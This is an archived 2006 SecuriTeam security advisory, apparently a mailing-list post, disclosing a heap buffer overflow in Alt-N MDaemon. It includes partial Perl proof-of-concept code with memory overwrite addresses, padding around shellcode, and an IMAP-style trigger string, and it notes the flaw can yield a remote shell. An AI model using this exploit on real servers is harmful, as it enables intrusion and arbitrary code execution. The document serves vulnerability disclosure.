

[NT] MDAemon Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-05/msg00097.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 29 May 2006 16:37:13 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

MDaemon Buffer Overflow

SUMMARY

" <<http://www.alt-n.com/>> Alt-N Technologies MDAemon provides a complete suite of secure and standards-compliant messaging and collaborative capabilities."

Improper handling of user input allows attackers to execute arbitrary code or crash MDAemon.

DETAILS

An heap based buffer overflow was found in Mdaemon that can be triggered by sending specially crafted input.

Proof of Concept:

```
$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfc9A
```

```
$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x
(0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x
```

[NT] MDaemon Buffer Overflow

```
(0x184AC - 0x200A - 12));  
print $sock "a001 \"\r\n\"";  
close($sock);
```

The trigger is made by sending the following attack string:

```
a001 "[X]\r\n
```

[X] consists of f.e. 99555 Z's to reach the 4 byte overwrite.

Attackers can use the 4 byte to overwrite the PEB pointer in order to open a remote shell for example.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kingcope@xxxxxxx>> kcope .

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.